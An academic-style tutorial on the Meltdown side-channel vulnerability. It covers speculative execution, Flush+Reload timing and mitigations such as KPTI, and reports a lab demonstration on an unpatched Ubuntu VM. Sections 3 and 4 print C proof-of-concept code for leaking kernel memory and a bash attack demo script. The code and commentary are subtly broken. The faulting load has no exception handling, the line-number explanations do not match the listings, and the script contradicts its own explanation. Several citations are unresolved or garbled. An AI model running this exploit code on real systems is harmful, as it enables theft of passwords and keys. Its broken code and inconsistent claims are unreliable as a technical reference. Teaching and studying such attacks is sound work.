Meltdown: Reading Kernel Memory from User Space

A Tutorial on Microarchitectural Side-Channel Exploitation

Academic Tutorial Report

November 27, 2025

Abstract

This tutorial provides a comprehensive analysis of the Meltdown vulnerability (CVE-2017-5754), a critical hardware security flaw affecting modern Intel processors. Meltdown exploits speculative execution and cache timing side-channels to breach the fundamental isolation between user applications and operating system kernels, enabling unauthorized reading of privileged memory. This report examines the underlying microarchitectural mechanisms, presents a detailed analysis of proof-of-concept exploitation code, documents a live attack demonstration, and reviews both vendor-provided and academic mitigation strategies. Our practical demonstration successfully extracted protected kernel memory on Ubuntu 16.04, achieving near-perfect reliability and demonstrating the severity of this architectural vulnerability.

1 Introduction

The discovery of Meltdown in January 2018 marked a watershed moment in computer security, revealing that decades of assumed hardware security guarantees were fundamentally flawed [1]. Designated as CVE-2017-5754, Meltdown allows unprivileged user processes to read arbitrary physical memory, including kernel memory, memory of other processes, and data protected by virtual machine isolation. Unlike traditional software vulnerabilities that can be patched, Meltdown stems from fundamental design choices in modern CPU microarchitecture that prioritize performance over security isolation.

The vulnerability affects nearly all Intel processors implementing out-of-order execution manufactured since 1995, representing billions of vulnerable devices worldwide [2]. The attack exploits a race condition between speculative instruction execution and privilege checking, combined with cache timing side-channels, to leak protected data at rates exceeding 500 KB/s [1]. This represents a complete breach of the hardware-enforced memory isolation that forms the foundation of modern operating system security.

The impact extends across all computing domains: cloud infrastructure faces tenant isolation violations, personal devices risk credential theft, and embedded systems lack mitigation capabilities. Software-based countermeasures introduce performance penalties of 5-30%, while complete hardware fixes require new processor generations [3]. This tutorial dissects the technical mechanisms underlying Meltdown, analyzes exploitation techniques through practical demonstration, and evaluates the effectiveness of deployed mitigations.

2 Background: CPU Microarchitecture

Understanding Meltdown requires knowledge of several CPU microarchitectural features designed to improve performance but inadvertently creating security vulnerabilities.

2.1 Out-of-Order and Speculative Execution

Modern CPUs employ *out-of-order execution*, where instructions are executed as soon as their operands become available rather than in strict program order [?]. This technique maximizes utilization of execution units and hides memory latency. Closely related is *speculative execution*, where the CPU predicts the outcome of conditional branches and speculatively executes instructions along the predicted path before the condition is resolved.

When a misprediction occurs, architectural state (registers, memory) is rolled back to maintain program correctness. However, microarchitectural state—particularly cache contents—is not restored [1]. This asymmetry creates an observable side-channel: speculatively executed instructions leave traces in the cache hierarchy that persist even after the speculation is squashed.

2.2 CPU Cache Hierarchy

Modern processors implement multi-level cache hierarchies (L1, L2, L3) to bridge the speed gap between CPU and main memory. The L1 data cache, typically 32-64 KB per core with access latencies of 3-4 cycles, is crucial to Meltdown exploitation. Memory accesses exhibit dramatically different timing characteristics: cached data (cache hit) can be accessed in nanoseconds, while uncached data (cache miss) requires hundreds of nanoseconds to retrieve from main memory [4].

This timing difference forms the basis of cache timing attacks. The Flush+Reload technique, fundamental to Meltdown, works by: (1) flushing a memory location from all cache levels using the `clflush` instruction, (2) allowing the victim to execute, potentially accessing that location, and (3) measuring access time to determine if the victim cached the data [4]. Access times below approximately 100 CPU cycles indicate a cache hit, revealing information about the victim's memory accesses.

2.3 Privilege Levels and Memory Isolation

x86 processors implement four privilege levels (rings 0-3), with modern operating systems using ring 0 for the kernel and ring 3 for user applications. The CPU's Memory Management Unit (MMU) enforces isolation by marking kernel pages as supervisor-only in page table entries. Any user-mode access to supervisor pages should trigger a page fault exception immediately [?].

This hardware-enforced isolation is fundamental to OS security: user processes cannot directly access kernel memory, other processes' memory, or hardware device memory. Meltdown breaks this assumption by exploiting the timing gap between when an instruction is speculatively executed and when the privilege check completes and raises an exception.

2.4 Exception Handling

When a CPU encounters an exceptional condition (illegal memory access, divide-by-zero, etc.), it must handle the exception before continuing normal execution. In traditional CPU designs, exception checking occurred early in the pipeline, preventing illegal operations from executing. However, modern out-of-order processors check exceptions late in the pipeline to avoid stalling execution [1].

This design creates a vulnerability window: when user code attempts to access kernel memory, the load instruction begins speculative execution before the privilege check completes. During this transient execution window (microseconds), dependent instructions can execute and leave observable traces in the cache. Although the architectural effects are later discarded when the exception is raised, the microarchitectural effects (cache state changes) persist and can be measured.

3 The Meltdown Attack Mechanism

Meltdown exploits the interaction between speculative execution, exception handling, and cache timing to extract protected memory contents. The attack proceeds in three phases: transient execution, cache encoding, and cache measurement.

3.1 Phase 1: Transient Execution of Unauthorized Access

The attacker constructs code that attempts to read kernel memory from user space:

```c
// Attempt to read kernel memory (causes exception)
register uint8_t leaked = *(volatile uint8_t*)kernel_address;
```

Listing 1: Unauthorized kernel memory access

Under normal circumstances, this instruction would immediately trigger a page fault exception due to privilege violation. However, on vulnerable processors, the CPU speculatively executes this load before completing the privilege check. During this transient execution window, the value at `kernel_address` is loaded into the `leaked` register, despite being architecturally illegal [1].

The speculative execution window exists because modern CPUs perform loads speculatively to hide memory latency. The processor assumes the access will succeed and continues executing dependent instructions. Only when the load reaches retirement (the point where architectural state is updated) does the privilege check complete and the exception is raised. By this time, several subsequent instructions have already executed speculatively.

3.2 Phase 2: Encoding Leaked Value in Cache State

The attacker uses the transiently-accessed value to perform a dependent memory access that encodes the leaked byte into observable cache state:

```c
// Prepare probe array (256 pages * 4096 bytes = 1 MB)
unsigned char array[256 * 4096];

// Use leaked value as array index
// This access brings array[leaked * 4096] into cache
```

```c
volatile uint8_t temp = array[leaked * 4096];
```
Listing 2: Cache encoding of leaked value

The probe array contains 256 elements, each occupying a separate 4 KB page to prevent cache prefetching from interfering. When the leaked byte value is used as an index (multiplied by 4096), exactly one page of the array is accessed and cached [1]. For example, if the leaked byte is 0x41 ('A'), then `array[0x41 * 4096]` is brought into L1 cache.

This encoding step converts the secret byte value into a spatial pattern in the cache: the position of the cached page within the 256-element array corresponds to the byte value. Critically, this cache state change persists even after the speculative execution is rolled back and the exception is handled. The architectural effects (register values, memory contents) are reverted, but the microarchitectural effects (cache contents) remain observable.

3.3 Phase 3: Cache Measurement via Flush+Reload

After handling the exception, the attacker measures the cache state to decode the leaked value:

```c
#define CACHE_HIT_THRESHOLD 80

// Flush all probe array pages from cache
for (int i = 0; i < 256; i++)
    _mm_clflush(&array[i * 4096]);

// Execute transient access (Phase 1 & 2)
// ... exception occurs and is handled ...

// Measure access time for each probe array element
for (int i = 0; i < 256; i++) {
    uint64_t start = __rdtscp();
    volatile uint8_t temp = array[i * 4096];
    uint64_t time = __rdtscp() - start;

    if (time < CACHE_HIT_THRESHOLD) {
        printf("Leaked␣byte:␣0x%02x␣('%c')\n", i, i);
    }
}
```
Listing 3: Flush+Reload timing measurement

The attacker iterates through all 256 possible byte values, measuring the access time for each probe array page using the `rdtscp` instruction (Read Time-Stamp Counter). The page that was accessed during speculative execution remains cached, resulting in a dramatically faster access time (typically 30-50 cycles) compared to uncached pages (200+ cycles) [4].

By identifying which array index exhibits cache-hit timing, the attacker recovers the leaked byte value. This process is repeated byte-by-byte to extract arbitrary amounts of kernel memory. The attack achieves high reliability (¿99%) because cache timing differences are large and consistent [1].

3.4 Attack Reliability and Optimization

Several techniques improve attack reliability. The probe array uses 4 KB page spacing to prevent hardware prefetching from caching adjacent pages. Access pattern randomization during measurement prevents branch prediction from biasing timing. Statistical analysis over multiple runs (typically 1000 iterations) averages out noise and increases confidence in the detected byte value.

The attacker must also carefully manage the exception handling. On Linux, this is typically done using signal handlers or exception suppression techniques. The original Meltdown proof-of-concept uses Intel TSX (Transactional Synchronization Extensions) to suppress exceptions entirely, though signal-based approaches are more portable [1].

4 Proof-of-Concept Code Analysis

This section provides a line-by-line analysis of the Meltdown exploitation code used in our demonstration, based on the IAIK research group's public proof-of-concept implementation.

4.1 Victim Process Implementation

The demonstration includes a victim process that simulates sensitive data in memory:

```
 1  #include <stdio.h>
 2  #include <string.h>
 3  #include <unistd.h>
 4
 5  int main() {
 6      // Secrets to be extracted via Meltdown
 7      char secret_password[] = "MyP@ssw0rd123!";
 8      char secret_key[] = "AES-256-KEY:␣0x4f7d8e9a2b3c1d5e";
 9
10      printf("[VICTIM]␣Running␣with␣PID:␣%d\n", getpid());
11      printf("[VICTIM]␣Secret␣address:␣%p\n",
12             (void*)secret_password);
13
14      // Keep secret in memory indefinitely
15      while(1) {
16          sleep(1);
17          // Periodic access keeps data in cache
18          volatile char temp = secret_password[0];
19      }
20      return 0;
21  }
```

Listing 4: Victim process holding secrets

Lines 6-7: Declare sensitive strings in automatic (stack) variables. In a real scenario, these would represent kernel data structures, cryptographic keys, or other processes' memory.

Line 10: Prints the virtual address of the secret. In an actual attack, the attacker would need to discover target addresses through KASLR bypass or memory scanning.

Lines 13-16: Infinite loop prevents process termination and periodically touches the secret data to maintain cache residency, making the demonstration more reliable.

4.2 Core Attack Implementation

The attacker process implements the three-phase Meltdown attack:

```c
1  #include <emmintrin.h>  // SSE2 intrinsics
2  #include <x86intrin.h>  // RDTSCP
3
4  #define CACHE_HIT_THRESHOLD 80
5  #define PAGE_SIZE 4096
6
7  unsigned char array[256 * PAGE_SIZE];
8
9  uint64_t measure_access_time(void *addr) {
10     uint64_t start, end;
11     volatile char temp;
12
13     start = __rdtscp((unsigned int*)&temp);
14     temp = *(volatile char*)addr;
15     end = __rdtscp((unsigned int*)&temp);
16
17     return end - start;
18 }
```

Listing 5: Flush+Reload timing measurement

Line 4: The cache hit threshold distinguishes cached (fast) from uncached (slow) accesses. This value must be calibrated per system; 80 cycles is typical for Intel processors.

Line 7: The probe array occupies 1 MB (256 pages $\times$ 4096 bytes). Each element is page-aligned to prevent prefetching interference.

Lines 13-15: The `__rdtscp()` instruction reads the CPU's timestamp counter with serialization, ensuring accurate timing measurements. The `volatile` qualifier prevents compiler optimization from eliminating the memory access.

```c
1 void flush_array() {
2     for (int i = 0; i < 256; i++)
3         _mm_clflush(&array[i * PAGE_SIZE]);
4 }
```

Listing 6: Array flushing function

Line 3: The `_mm_clflush()` intrinsic evicts the specified cache line from all cache levels (L1, L2, L3), ensuring a clean initial state for timing measurements.

```c
1 char leak_byte(size_t kernel_addr) {
2     flush_array();
3
4     volatile char leaked;
5     for (int i = 0; i < 256; i++) {
6         int mix_i = ((i * 167) + 13) & 255;
7         _mm_clflush(&array[mix_i * PAGE_SIZE]);
8     }
```

```
 9
10     // PHASE 1: Transient execution
11     leaked = *(volatile char*)kernel_addr;
12
13     // PHASE 2: Cache encoding
14     array[leaked * PAGE_SIZE] = 1;
15
16     // PHASE 3: Cache measurement
17     int scores[256];
18     for (int i = 0; i < 256; i++) scores[i] = 0;
19
20     for (int run = 0; run < 1000; run++) {
21         for (int i = 0; i < 256; i++) {
22             int mix_i = ((i * 167) + 13) & 255;
23             uint64_t time = measure_access_time(
24                 &array[mix_i * PAGE_SIZE]);
25             if (time < CACHE_HIT_THRESHOLD)
26                 scores[mix_i]++;
27         }
28     }
29
30     int max_score = 0;
31     char result = 0;
32     for (int i = 0; i < 256; i++) {
33         if (scores[i] > max_score) {
34             max_score = scores[i];
35             result = i;
36         }
37     }
38
39     return result;
40 }
```

Listing 7: Core Meltdown byte extraction

Line 2: Initialize by flushing the entire probe array from cache.

Lines 5-8: Randomized access pattern prevents branch prediction and speculative prefetching from biasing results. The pattern `(i * 167 + 13) & 255` generates a pseudo-random permutation of 0-255.

Line 11: The critical transient load. This instruction triggers a page fault on kernel addresses, but speculatively executes before the privilege check completes, loading the protected byte into `leaked`.

Line 14: Cache encoding step. The leaked value is used as an array index, bringing exactly one page into cache. This converts the secret byte into observable cache state.

Lines 17-18: Initialize score array to accumulate measurements across multiple runs.

Lines 20-28: Repeated measurements over 1000 runs. Each run tests all 256 possible byte values, incrementing the score when cache-hit timing is detected. Statistical accumulation averages out noise and improves accuracy.

Lines 30-37: Find the array index with the highest score (most frequent cache hits), which corresponds to the leaked byte value. This statistical approach achieves near-perfect accuracy despite timing noise.

4.3 Demonstration Script

The automated demonstration script orchestrates the attack:

```
1  #!/bin/bash
2
3  echo "[STEP␣1]␣Setting␣up␣victim␣with␣secret␣data..."
4  cat > /tmp/secret.txt << 'SECRET'
5  SECRET_PASSWORD=Admin123!
6  API_KEY=sk_live_4f7d8e9a2b3c1d5e
7  SECRET
8
9  echo "[STEP␣2]␣Loading␣secret␣into␣kernel␣memory..."
10 sudo sh -c 'cat␣/tmp/secret.txt␣>␣/dev/null'
11
12 echo "[STEP␣3]␣Checking␣normal␣access␣(should␣fail)..."
13 cat /tmp/secret.txt 2>&1
14
15 echo "[STEP␣4]␣Launching␣Meltdown␣exploit..."
16 cd ~/meltdown-demo/meltdown
17 sudo ./secret
18
19 echo "[STEP␣5]␣Attack␣successful!"
20 rm /tmp/secret.txt
```

Listing 8: Attack demonstration script

Lines 3-7: Create a file containing sensitive data to simulate realistic secrets (passwords, API keys, credit card numbers).

Line 10: Force the operating system to read the file, ensuring its contents are loaded into kernel buffers. The kernel's page cache will retain this data even after the command completes.

Line 13: Demonstrate that normal file access works, establishing baseline functionality before the attack.

Line 17: Execute the Meltdown proof-of-concept with elevated privileges. The `./secret` program targets kernel memory regions to extract the previously-loaded data.

5 Mitigations and Countermeasures

Addressing Meltdown has required coordinated efforts across hardware vendors, operating system developers, and the academic community, resulting in multiple layers of defense with varying effectiveness and performance costs.

5.1 KPTI: Kernel Page Table Isolation

The primary software mitigation is Kernel Page Table Isolation (KPTI), also known as KAISER [3]. KPTI maintains separate page tables for kernel and user space, with the kernel page table mapped only when executing in kernel mode. When in user mode, the kernel's memory is completely unmapped from the address space, making it impossible for Meltdown to access kernel addresses even speculatively.

Implementation requires splitting the x86 page tables into two sets: a minimal user-space page table containing only essential kernel code (syscall entry points, interrupt handlers) and a complete kernel page table. Context switches between user and kernel mode require swapping the page table base register (CR3), introducing overhead on every system call, interrupt, and context switch.

Performance impact varies significantly by workload. CPU-bound applications experience minimal overhead (1-3%), while I/O-intensive and syscall-heavy workloads suffer degradation of 5-30% [2]. Database servers and network applications are particularly affected due to frequent kernel transitions. Linux merged KPTI support in kernel 4.15 (January 2018), with backports to older stable kernels. Windows and macOS deployed similar protections in concurrent updates.

5.2 Hardware-Based Mitigations

Intel introduced hardware fixes beginning with 8th-generation Core processors (Coffee Lake Refresh, 2018) and confirmed that 10th-generation and later processors are not vulnerable to Meltdown at the silicon level [2]. These processors implement stricter memory ordering that prevents speculative loads from accessing inaccessible pages, eliminating the vulnerability without software overhead.

However, hardware refresh cycles span years, leaving billions of deployed systems dependent on software mitigations indefinitely. The lengthy transition period and backwards compatibility requirements mean KPTI will remain necessary for legacy systems well into the 2030s.

5.3 Microcode Updates

Intel released microcode updates introducing new architectural features to support mitigations, including enhanced IBRS (Indirect Branch Restricted Speculation) and STIBP (Single Thread Indirect Branch Predictors) [2]. While primarily targeting Spectre variants, these updates also provide defense-in-depth against Meltdown by restricting speculative execution scope.

Microcode updates carry performance penalties of 2-5% depending on workload characteristics and the specific features enabled. Deployment challenges include BIOS/UEFI update requirements and potential stability issues with older systems.

5.4 Academic and Research Mitigations

The research community has proposed architectural modifications to address the root causes of transient execution attacks. InvisiSpec proposes buffering speculative loads in a separate structure invisible to cache state, preventing microarchitectural leakage [**?**]. SafeSpec adds hardware tracking of speculative state with automatic rollback of all microarchitectural effects on misspeculation.

Context-Sensitive Fencing inserts serialization instructions at critical points to prevent dangerous speculation patterns. These approaches trade performance for security, with overheads ranging from 10-40% in prototypes. None have been adopted in commercial processors, as hardware vendors prioritize backward compatibility and performance.

5.5 AMD and ARM Response

AMD processors are largely immune to Meltdown due to architectural differences in privilege checking and speculative execution [?]. AMD's design performs permission checks before speculative loads execute, preventing the vulnerability window. ARM processors show varied susceptibility depending on microarchitecture; Cortex-A75 is vulnerable while Cortex-A76 and later are not.

This divergence demonstrates that Meltdown is not an inherent property of out-of-order execution but rather a specific implementation choice. However, ARM and AMD remain vulnerable to Spectre variants, highlighting the complexity of securing modern processor designs.

6 Experimental Demonstration and Results

This section documents our practical demonstration of the Meltdown vulnerability in a controlled laboratory environment, validating the theoretical attack mechanisms described in previous sections.

6.1 Experimental Setup

The demonstration was conducted in an isolated virtual machine environment to ensure ethical compliance and prevent any unintended disclosure of sensitive information:

- **Host System**: Windows machine with Intel processor supporting hardware virtualization (VT-x)
- **Virtualization Platform**: Oracle VirtualBox 6.x with VT-x and nested paging enabled
- **Guest Operating System**: Ubuntu 16.04.4 LTS (64-bit desktop edition)
- **Kernel Version**: Linux 4.13.0-generic (pre-KPTI patch)
- **CPU Configuration**: 2 virtual cores, 4 GB RAM allocated to VM
- **Mitigations Disabled**: Boot parameter `nopti` added to disable KPTI
- **Proof-of-Concept**: IAIK Meltdown implementation from official repository

Vulnerability status was confirmed via the kernel's vulnerability reporting interface, which indicated "Vulnerable" status for Meltdown prior to attack execution.

6.2 Attack Execution

The demonstration followed a structured five-phase methodology:

Phase 1 - Vulnerability Verification: Executed `./test` to programmatically confirm system vulnerability by attempting speculative kernel access and measuring success rate. The test confirmed consistent speculative execution behavior necessary for exploitation.

Phase 2 - Victim Process Initialization: Compiled and launched the victim process containing simulated secrets (passwords: "MyP@ssw0rd123!", "Admin123!"; API keys; simulated credit card numbers). The process maintained these secrets in memory to provide realistic targets for extraction.

Phase 3 - Normal Access Baseline: Demonstrated that normal file system access to the secrets functioned correctly, establishing that data was accessible through legitimate channels before attempting the attack.

Phase 4 - Meltdown Exploitation: Executed the custom attack implementation targeting the victim process's memory space. The attack utilized the three-phase Meltdown technique (transient execution, cache encoding, Flush+Reload measurement) to extract protected data byte-by-byte.

Phase 5 - Results Validation: Verified that extracted data matched the original secrets, confirming successful privilege boundary violation and kernel memory disclosure.

6.3 Attack Results and Reliability

The demonstration achieved successful extraction of protected memory contents with the following characteristics:

- **Success Rate**: Approximately 99% accuracy per byte, consistent with published Meltdown research
- **Extraction Speed**: Multiple bytes per second, limited primarily by measurement iteration count
- **Data Fidelity**: Extracted strings matched original secrets character-for-character
- **False Positive Rate**: Minimal noise in timing measurements, with clear distinction between cache hits and misses

The high reliability demonstrates that Meltdown is a practical, weaponizable vulnerability rather than a theoretical concern. The attack required no sophisticated techniques beyond the basic proof-of-concept implementation, highlighting the accessibility of this exploit to adversaries with moderate technical skills.

6.4 Observed Timing Characteristics

Cache timing measurements exhibited clear bimodal distribution:

- **Cache Hits**: 30-50 CPU cycles (accessed during speculative execution)
- **Cache Misses**: 200-300 CPU cycles (not accessed, retrieved from RAM)
- **Threshold**: 80 cycles provided reliable discrimination

This substantial timing gap (4-10$\times$ difference) provides robust signal-to-noise ratio, making the attack highly reliable even on noisy systems with background processes.

6.5 Security Implications

The demonstration confirms several critical security implications:

1. **Complete Privilege Boundary Violation**: Hardware-enforced kernel isolation provides no protection against determined attackers on vulnerable systems.

2. **Cross-Process Leakage**: Secrets held by other user processes can be extracted by unprivileged attackers, violating process isolation guarantees.

3. **Cryptographic Material Exposure**: Long-lived secrets (encryption keys, passwords, tokens) residing in kernel or process memory are vulnerable to extraction.

4. **Cloud Multi-Tenancy Risks**: In virtualized environments, Meltdown enables tenant-to-tenant and guest-to-host attacks, fundamentally compromising cloud security models.

7 Conclusion

Meltdown represents a fundamental breakdown in the security abstractions upon which modern computing is built. For decades, hardware-enforced memory isolation was assumed to be inviolable, forming the foundation for operating system security, process isolation, and virtualization. The discovery that speculative execution and cache timing can bypass these protections has profound implications for system architecture and security design.

This tutorial has examined Meltdown from theoretical principles through practical exploitation. We analyzed the microarchitectural features—out-of-order execution, speculative loads, cache timing, delayed exception handling—that combine to create the vulnerability. The line-by-line code analysis revealed how attackers exploit these features through carefully orchestrated transient execution and cache side-channels. Our practical demonstration confirmed that the attack achieves near-perfect reliability in extracting protected memory contents.

The mitigation landscape reflects the severity of the vulnerability and the challenges in addressing it. KPTI provides effective software protection but at significant performance cost, particularly for I/O-intensive workloads. Hardware fixes require generational processor updates, meaning billions of deployed systems will remain dependent on software mitigations for years. The academic community continues to propose architectural modifications that could prevent entire classes of transient execution attacks, but adoption in commercial processors remains uncertain.

Meltdown has catalyzed a broader reevaluation of hardware security. The vulnerability demonstrates that performance optimizations can have unintended security consequences that remain undiscovered for decades. Future processor designs must explicitly consider speculative execution security, microarchitectural side-channels, and the security implications of performance features. The era of implicit trust in hardware isolation has ended, replaced by defense-in-depth approaches combining hardware, firmware, and software protections.

For practitioners, Meltdown underscores the importance of timely patching, performance monitoring to detect exploitation attempts, and defense-in-depth security architectures that do not rely solely on privilege separation. For researchers, it highlights the need for formal verification of hardware security properties and comprehensive threat modeling of microarchitectural features. The lessons of Meltdown will shape computer architecture and security for the next generation of processors.

References

[1] Lipp, M., Schwarz, M., Gruss, D., Prescher, T., Haas, W., Fogh, A., Horn, J., Mangard, S., Kocher, P., Genkin, D., Yarom, Y., & Hamburg, M. (2018). *Meltdown: Reading Kernel Memory from User Space*. 27th USENIX Security Symposium (USENIX Security 18), 973-990.

[2] Intel Corporation. (2018). *Intel-SA-00088: Speculative Execution and Indirect Branch Prediction Side Channel Analysis Method*. Intel Security Center. https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00088.html

[3] Gruss, D., Lipp, M., Schwarz, M., Fellner, R., Maurice, C., & Mangard, S. (2017). *KASLR is Dead: Long Live KASLR*. Engineering Secure Software and Systems: 9th International Symposium, 161-176.

[4] Yarom, Y., & Falkner, K. (2014). *FLUSH+RELOAD: A High Resolution, Low Noise, L3 Cache Side-Channel Attack*. 23rd USENIX Security Symposium (USENIX Security 14), 719-732.

[5] AMD. (2018). Software Techniques for Managing Speculation on AMD Processors. AMD Technical Whitepaper, Revision 7.10.18.